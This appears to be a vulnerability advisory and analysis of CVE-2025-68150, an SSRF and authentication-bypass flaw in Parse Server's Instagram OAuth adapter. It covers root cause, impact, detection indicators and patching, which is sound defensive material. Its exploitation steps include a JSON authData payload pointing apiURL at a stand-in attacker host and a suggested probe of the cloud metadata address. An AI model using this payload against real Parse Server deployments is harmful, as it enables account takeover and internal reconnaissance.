CVE-2025-68150: 
JavaScript vulnerability analysis and mitigation

CVE-2025-68150 is a Server-Side Request Forgery (SSRF) vulnerability in the Instagram OAuth authentication adapter of Parse Server, an open-source Node.js backend platform. The flaw allows low-privileged clients to supply a custom API URL via the apiURL parameter in authData, enabling SSRF attacks and potential authentication bypass. It affects all Parse Server versions prior to 8.6.2 and versions 9.0.0 through 9.1.1-alpha.1 (exclusive). Disclosed on December 16, 2025, it carries a CVSS v3.1 score of 6.5 (Medium) and a CVSS v4.0 score of 8.3 (High) (Github Advisory, GitHub Security Advisory).

The root cause is CWE-918 (Server-Side Request Forgery): the getUserFromAccessToken method in src/Adapters/Auth/instagram.js accepted a client-controlled apiURL field from the authData object without validation, then used it to construct outbound HTTP requests for Instagram token verification. An attacker with a low-privilege account could set apiURL to an arbitrary internal or external endpoint, causing the Parse Server to issue requests to attacker-controlled infrastructure. If the malicious endpoint returns a crafted response mimicking a valid Instagram Graph API reply, the adapter may accept it as legitimate, resulting in authentication bypass for unauthorized users. The fix hardcodes the endpoint to https://graph.instagram.com and ignores any client-supplied apiURL value (Github Advisory, PR #9988, PR #9989).

Successful exploitation can result in high confidentiality impact on both the vulnerable Parse Server system and subsequent systems it can reach internally. An attacker can leverage the SSRF to probe and access internal network resources (e.g., cloud metadata services, internal APIs) that are not directly reachable from the internet. Additionally, by redirecting authentication validation to a fake endpoint, an attacker may bypass Instagram-based login controls and gain unauthorized access to user accounts or application data within the Parse Server instance. Integrity and availability are not directly impacted by this vulnerability (Github Advisory).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation as of the time of disclosure (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.085% (25th percentile), indicating a low near-term exploitation probability. Exploitation requires low privileges (a valid account or registration capability on the Parse Server instance) but no user interaction, making it relatively straightforward for an authenticated attacker to attempt (Github Advisory).

1. Identify a vulnerable target: Locate a Parse Server instance (version < 8.6.2 or 9.0.0–9.1.0) with Instagram OAuth authentication enabled, accessible over the network.
2. Obtain low-privilege access: Register or authenticate with a low-privilege account on the Parse Server to be able to submit authentication requests.
3. Set up a malicious endpoint: Deploy an attacker-controlled HTTP server (e.g., using netcat, python -m http.server, or a cloud VM) that returns a fake Instagram Graph API response with a valid-looking user object.
4. Craft a malicious authentication request: Submit a login or link request to the Parse Server's Instagram auth endpoint, injecting the attacker-controlled URL in the authData.apiURL field:

   {
     "authData": {
       "instagram": {
         "id": "target_user_id",
         "access_token": "any_token",
         "apiURL": "http://attacker.example.com/fake-instagram-api"
       }
     }
   }

5. SSRF probe (internal recon): Alternatively, set apiURL to internal addresses (e.g., http://169.254.169.254/latest/meta-data/ for AWS metadata) to enumerate internal resources via the server's outbound requests.
6. Authentication bypass: If the malicious endpoint returns a crafted response matching the expected Instagram user format, Parse Server may accept it as valid and grant access to the targeted user account (Github Advisory, PR #9988).

• Network: Outbound HTTP/HTTPS requests from the Parse Server process to unexpected external hosts or internal IP ranges (e.g., 169.254.169.254, RFC 1918 addresses) during Instagram authentication flows; connections to attacker-controlled domains instead of graph.instagram.com.
• Logs: Parse Server access logs showing Instagram authentication requests (/users or /login endpoints) with authData payloads containing an apiURL field pointing to non-Instagram domains; HTTP client errors or unexpected responses logged from outbound requests to internal addresses.
• Application Behavior: Successful Instagram-based logins for accounts where the associated Instagram token would not normally validate; authentication events originating from the same IP with varying apiURL values in rapid succession.

Upgrade Parse Server to version 8.6.2 (for the 8.x LTS branch) or 9.1.1-alpha.1 / 9.1.1 (for the 9.x branch) or later. The fix hardcodes the Instagram Graph API URL to https://graph.instagram.com in the adapter, ignoring any client-supplied apiURL values. No configuration-based workarounds are available — patching is the only remediation option. Organizations should prioritize upgrading any internet-facing Parse Server instances using Instagram OAuth authentication (Github Advisory, PR #9988, PR #9989).

The vulnerability was reported by security researcher yueyueL and coordinated by Parse Server maintainer mtrezza, who published the advisory and patches on the same day (December 16, 2025). The fix was released rapidly — both the 8.6.2 and 9.1.1-alpha.1 patches were merged and released within hours of the advisory publication. No significant broader media coverage or notable community controversy has been observed beyond standard vulnerability tracking (Github Advisory).